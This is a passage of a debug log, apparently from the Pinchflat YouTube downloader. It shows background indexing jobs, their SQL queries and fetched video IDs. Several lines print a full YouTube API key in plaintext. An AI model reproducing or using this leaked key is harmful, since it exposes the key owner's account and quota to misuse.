m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 17:15:43.913 [debug] QUERY OK source="tasks" db=0.1ms idle=167.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268429, 1, ~U[2026-10-09 22:15:43Z], ~U[2026-10-09 22:15:43Z]] 17:15:43.913 [info] {"args":{"id":1},"id":5268390,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":168408,"event":"job:stop","queue_time":423076,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:43.921 [info] {"args":{"id":18},"id":5268391,"meta":{},"system_time":1791584143921057382,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:43.921 [debug] QUERY OK source="sources" db=0.1ms idle=7.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [18] 17:15:43.921 [debug] QUERY OK source="settings" db=0.1ms idle=8.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:43.921 [debug] QUERY OK source="media_profiles" db=0.1ms idle=8.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:15:43.921 [debug] QUERY OK source="settings" db=0.1ms idle=8.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:43.922 [debug] Fetching recent media IDs from YouTube API for playlist: UUQ5w3fSomzziZfO7neK7eAg 17:15:43.922 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:43.922 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:15:44.079 [debug] QUERY OK source="media_items" db=0.9ms idle=156.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [18, "cmwW_7Abt1U", "4uSSn65kjoY", "VvVF9MpNKOM", "K62b5JcIyws", "7YMs4CC-4fg", "LKW7jxxzgY0", "3uAJj9IG5L0", "laNbCG1X0bc", "KAa-oD5ip6g", "o3gI3hJ8y9g", "QZZCVVpRPCw", "fYQ-7t0NVSY", "OkMhgv-LVFs", "UrimWxUfPYM", "JYT2by9OsNU", "Nre7c3KGDLI", "Jn_mEQzU2uU", "vgM7E9gyyfA", "-yzDkpEFPso", "P3hLiuMw06E", "1Lj_Vx_YLic", "MMMREpB4_Uw", "jTCzE-t_zwM", "lboQeOpiHDQ", "TW0E1KFVuFY", "7VFv3s7gpdU", "vyYSPIfCLdc", "nNNs5FtLnTc", "qo9gdGAdTVs", "prdfB6Ajd-0", "ivSZoARtMtU", "fOr5r_a3n5c", "PDJdtrrXlBc", "MAw0IOv6g2I", "VY4oO2EoURA", "TJ9QPLFRwgU", "SL3I3HRltxY", "JKDISzBlzow", "3rd0HjHoQzE", "7xwicE-ysdA", "09a59YumUcI", "0tmYqrYddLY", "VNnyrwFoIkg", "m-Wt81X5Z4k", "rftUQzr5MNY", "pXjsYsJR8eU", "prJa6chyjqQ", "e8MxxudBYHk", "a_0XQWA15FI", ...] 17:15:44.080 [debug] QUERY OK source="media_items" db=0.9ms idle=158.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [18] 17:15:44.081 [debug] QUERY OK source="tasks" db=0.1ms idle=159.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268430, 18, ~U[2026-10-09 22:15:44Z], ~U[2026-10-09 22:15:44Z]] 17:15:44.081 [info] {"args":{"id":18},"id":5268391,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":160365,"event":"job:stop","queue_time":403404,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:44.746 [info] {"args":{"id":16},"id":5268392,"meta":{},"system_time":1791584144746345113,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:44.746 [debug] QUERY OK source="sources" db=0.1ms idle=665.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [16] 17:15:44.746 [debug] QUERY OK source="settings" db=0.0ms idle=665.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:44.747 [debug] QUERY OK source="media_profiles" db=0.1ms idle=658.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:15:44.747 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:44.747 [debug] Fetching recent media IDs from YouTube API for playlist: UUBa659QWEk1AI4Tg--mrJ2A 17:15:44.747 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:44.747 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:15:44.892 [debug] QUERY OK source="media_items" db=0.6ms idle=145.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [16, "drrUvxtT6lU", "pZtU48TjxXg", "AQqVcdTH5bQ", "Dr4lseoF82c", "YwxiF2Gqtww", "IJSO-BL3pEU", "tDLbO9KeddY", "EU-rZuJxdbw", "7S8mK7WSNZQ", "SzM1hpnXux4", "8IsbKH-EsAY", "jUa2x_xpFuM", "WGia1R3xacM", "blubg9l8AVc", "hCZwH5CSlEY", "Mi_fYfpycT0", "YrZyJuaBfKA", "omYfLDlt-MA", "Pwn8IrDeiwc", "NxZOBBenmZM", "V2lEgMHF2Fo", "aZRXpmnys7I", "cMYYcddinkE", "-v2ZhcJcnBE", "Wp-TX1FoEN4", "PTEkUe1k6gc", "zKx1VJsLsfk", "GpaNijzRaJI", "Yz3lSKgz4q8", "7DKv5H5Frt0", "F0JDK_71yDg", "Zl_5LT2fzak", "hNZy603as5w", "pU9sHwNKc2c", "LDiXNsWQzD0", "jplrbxI5GN8", "lIbfMjZ0ME4", "CmZdGo6b5yA", "j3OqAN4ISOw", "XQIu5tZ0vbQ", "CkZyZFa5qO0", "ZgDBIzClmPg", "QqRREz0iBes", "3kwDVw0u4Kw", "TFpzps-DCb0", "ZNVuIU6UUiM", "Is_wu0VRIqQ", "1yfX84RMQ3M", "_G2Q1qsoGEU", ...] 17:15:44.894 [debug] QUERY OK source="media_items" db=0.9ms idle=146.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [16] 17:15:44.894 [debug] QUERY OK source="tasks" db=0.1ms idle=147.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268431, 16, ~U[2026-10-09 22:15:44Z], ~U[2026-10-09 22:15:44Z]] 17:15:44.895 [info] {"args":{"id":16},"id":5268392,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":148430,"event":"job:stop","queue_time":507709,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:44.901 [info] {"args":{"id":5},"id":5268393,"meta":{},"system_time":1791584144901154383,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:44.901 [debug] QUERY OK source="sources" db=0.1ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 17:15:44.901 [debug] QUERY OK source="settings" db=0.0ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:44.901 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:15:44.901 [debug] QUERY OK source="settings" db=0.0ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:44.901 [debug] Fetching recent media IDs from YouTube API for playlist: UUWFKCr40YwOZQx8FHU_ZqqQ 17:15:44.902 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:44.902 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:15:45.066 [debug] QUERY OK source="media_items" db=0.5ms idle=164.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [5, "9C4kJmNsd4g", "B09GJ5ynuKg", "yw3o8PSoWqs", "A5hZXRAZwiY", "tnszTTzGvmU", "hly-3fiHARI", "fd0k8u9XvQk", "Pc1JzImPw_M", "WUlLIo9LI-w", "vN44jvYD0aY", "AaqCYyrugzo", "6q-2bxQnaYA", "EnWmuc-J8i8", "GXkwWjAzQYI", "ls4jmJL8TeI", "79X9SL172oo", "ZPRKLg5ZR-8", "rHCpgtc5nzs", "5xO1jF1cVe8", "eZ5VpPJjddA", "jUT3rUZGqLA", "Ld0Bbf_Dpg0", "0pXrDVfe8A4", "i8BnXGr4mp0", "oQcw9ZZ_PxQ", "HZOYCMkic0E", "wCkFcD-2fI8", "ndmKkH2UU-Y", "hz1LmOcleGc", "lIOTxSlkuBc", "OO_JawE3fLs", "ojlTFAccjlQ", "F_A9UqXvLnE", "X_ERoyn1BUg", "25185B-tWCI", "zhL2FIiW2Ts", "QtrKAvLCJ2g", "Rm9rTYB7CdQ", "_Y-D4gYIVe4", "Pb-FPK2NGpw", "R11qUdPD3dw", "WbLI7U2hLyA", "pM1qgJMBqMw", "DRUDiwHRC60", "M16lt1D0OaI", "oJZecXmgXpA", "BqQ86_MIvp8", "PR5mykiFzN4", "FwyYsf9AGKw", ...] 17:15:45.070 [debug] QUERY OK source="media_items" db=2.9ms idle=165.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 17:15:45.071 [debug] QUERY OK source="tasks" db=0.1ms idle=168.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268432, 5, ~U[2026-10-09 22:15:45Z], ~U[2026-10-09 22:15:45Z]] 17:15:45.071 [info] {"args":{"id":5},"id":5268393,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":169909,"event":"job:stop","queue_time":503301,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:45.747 [info] {"args":{"id":28},"id":5268394,"meta":{},"system_time":1791584145747349685,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:45.747 [debug] QUERY OK source="sources" db=0.2ms idle=676.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [28] 17:15:45.747 [debug] QUERY OK source="settings" db=0.1ms idle=670.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:45.748 [debug] QUERY OK source="media_profiles" db=0.2ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:15:45.748 [debug] QUERY OK source="settings" db=0.1ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:45.748 [debug] Fetching recent media IDs from YouTube API for playlist: UUuVLG9pThvBABcYCm7pkNkA 17:15:45.748 [debug] QUERY OK source="settings" db=0.1ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:45.748 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:15:45.752 [info] {"source":"oban","duration":9871,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:15:45.946 [debug] QUERY OK source="media_items" db=0.7ms idle=197.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [28, "KrmXrao8zdE", "3fDGcZ8qpPM", "AyGMx6lWgZU", "QeQ0ReNvrxQ", "dWHCef7F8gY", "VsoNt5rhgkY", "jsLE4FncoLc", "FNBkN4YC8uo", "6pR7KWclRgE", "sX4qKGuAwr0", "sN7e38Q7e1U", "Ms5-iH2zH6Q", "NG-lLt5X3Rs", "8A42tiQ04CE", "i1AXDYQ6eUU", "Y8wBie-Oamc", "JPm4de6-eTg", "2El50dt7rVk", "_TxeaboC-xk", "XFWTgmV5C84", "l-1TWD7BAYc", "Vf4rTmR_EC4", "qY4rM_-mNTc", "qVrg5eRJVTA", "4jYdMxhwlz4", "wGxXI3DcvN0", "MSFYhYOJMLE", "pc64L0fvGL4", "HUeC39CZO44", "6aheyYXRwqs", "KLYMjPNppRQ", "dcvQMu15N9A", "_1-lCmzdcec", "r1bMJekCiBw", "roIOgtrjFGU", "W4gLOWTbaY0", "Qq62goUHDD4", "NQiLly6Z1xs", "zGhNdyVFLbE", "oE_vom5pfgU", "ElM4NXN22Xk", "DEFBn0r53uQ", "3t9aWDVCqVI", "4anuB72EMWY", "rDFuee41ptI", "0CPHgR8vK0w", "wBC_bug5DIQ", "TDnzDnKOrLo", "thoukYxcB_M", ...] 17:15:45.947 [debug] QUERY OK source="media_items" db=0.3ms idle=198.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", 